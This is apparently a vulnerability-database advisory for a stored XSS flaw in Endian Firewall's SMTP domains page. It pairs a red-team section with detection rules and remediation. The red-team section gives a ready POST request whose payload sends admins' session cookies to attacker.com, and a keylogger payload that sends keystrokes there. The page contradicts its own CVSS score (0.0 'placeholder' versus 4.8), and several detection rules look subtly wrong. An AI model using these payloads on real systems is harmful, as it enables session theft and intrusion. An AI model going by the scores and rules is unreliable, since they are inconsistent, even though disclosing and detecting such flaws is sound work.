CVE-2026-34815
Executive Summary
CVE-2026-34815 is a stored cross-site scripting (XSS) vulnerability in Endian Firewall version 3.3.25 and prior. An authenticated attacker can inject arbitrary JavaScript via the DOMAIN parameter in /cgi-bin/smtpdomains.cgi. This script is stored and executed when other users view the affected page, leading to session hijacking, credential theft, or further compromise of the firewall management interface. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement for authentication and user interaction.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a web application vulnerability in the Endian Firewall product.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is performed over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – The attacker must be authenticated.
- User Interaction (UI): Required (R) – A victim must view the affected page.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited information disclosure.
- Integrity (I): Low (L) – Limited modification of data.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium (CVSS 4.8). Exploitation requires authentication and user interaction, but stored XSS can lead to persistent compromise of admin sessions.
Deep Dive & Mechanics
The vulnerability exists in the smtpdomains.cgi CGI script, which handles SMTP domain configuration. The DOMAIN parameter is not properly sanitized before being stored and later rendered in the web interface. An authenticated attacker can submit a malicious payload (e.g., <script>alert('XSS')</script>) as the domain name. When an administrator or other user views the SMTP domains list, the payload executes in their browser context.
Root Cause: Lack of output encoding or input validation on the DOMAIN parameter. The application stores the raw input and reflects it in HTML without escaping.
Attack Flow:
- Attacker authenticates to the Endian Firewall web interface.
- Attacker navigates to the SMTP domains configuration page.
- Attacker submits a new domain with a malicious JavaScript payload.
- The payload is stored in the backend database.
- When another user (e.g., admin) views the SMTP domains list, the payload executes.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# /cgi-bin/smtpdomains.cgi
my $domain = param('DOMAIN');
# No sanitization
store_domain($domain);
...
# In the view template
print "<td>$domain</td>";
Patched Code (Conceptual):
# /cgi-bin/smtpdomains.cgi
use HTML::Entities;
my $domain = param('DOMAIN');
$domain = encode_entities($domain);
store_domain($domain);
...
# In the view template
print "<td>$domain</td>";
The patch would involve HTML-encoding the DOMAIN parameter before storage or output, preventing script execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Endian Firewall 3.3.25 or prior
- Valid credentials (e.g., admin:admin)
Exploit Steps:
- Log in to the Endian Firewall web interface.
- Navigate to
https://target/cgi-bin/smtpdomains.cgi. - Submit a POST request with the following payload:
POST /cgi-bin/smtpdomains.cgi HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded Cookie: session=valid_session DOMAIN=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Wait for an admin to view the SMTP domains list.
- The admin's session cookie is exfiltrated to the attacker's server.
Alternative Payload (Keylogger):
<script>
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/keylog?key=' + e.key);
});
</script>
Blue Team
Detection:
- Monitor HTTP requests to
/cgi-bin/smtpdomains.cgifor suspiciousDOMAINparameters containing<script>or event handlers. - Look for outbound connections to unknown domains from the firewall's management interface.
Hunting:
- Search logs for
DOMAINvalues containing HTML tags or JavaScript. - Use the YARA rule below to scan stored configuration files.
Indicators of Compromise (IOCs)
- Network:
- HTTP POST requests to
/cgi-bin/smtpdomains.cgiwithDOMAINcontaining<script>oronerror=etc. - Outbound connections to attacker-controlled domains from the firewall's IP.
- HTTP POST requests to
- File System:
- Configuration files containing
<script>tags in domain entries (e.g.,/etc/endian/firewall/smtpdomains.conf).
- Configuration files containing
- Logs:
/var/log/httpd/access_logentries withPOST /cgi-bin/smtpdomains.cgiand unusualDOMAINvalues.
Detection Engineering
YARA Rule
rule CVE_2026_34815_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Endian Firewall SMTP domain configuration"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-34815"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$event_handler = /on\w+\s*=\s*['"][^'"]*['"]/i
condition:
$xss_payload or $event_handler
}
Sigma Rule
title: Endian Firewall Stored XSS via SMTP Domains
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2026-34815
author: Valters IT
date: 2026-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/cgi-bin/smtpdomains.cgi'
cs-uri-query|contains: 'DOMAIN='
filter:
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'onload='
condition: selection and filter
falsepositives:
- Legitimate domain names containing special characters (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-34815 Endian Firewall Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/smtpdomains.cgi"; http_uri; content:"DOMAIN="; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Apply the vendor patch when available. If no patch exists, consider upgrading to a newer version of Endian Firewall.
- Input Validation: Implement strict input validation on the
DOMAINparameter to allow only valid domain names (e.g., alphanumeric, dots, hyphens). - Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering in the web interface.
Workarounds:
- Restrict access to the web interface to trusted IPs only.
- Use a Web Application Firewall (WAF) to block requests containing
<script>in theDOMAINparameter. - Disable the SMTP domains feature if not required.
Long-term:
- Conduct a security audit of all CGI scripts for similar injection vulnerabilities.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Valters IT
Securing Digital Frontiers
{/* [Security Hash: 4FE6B7F8B0BA8679573ED4E6] */}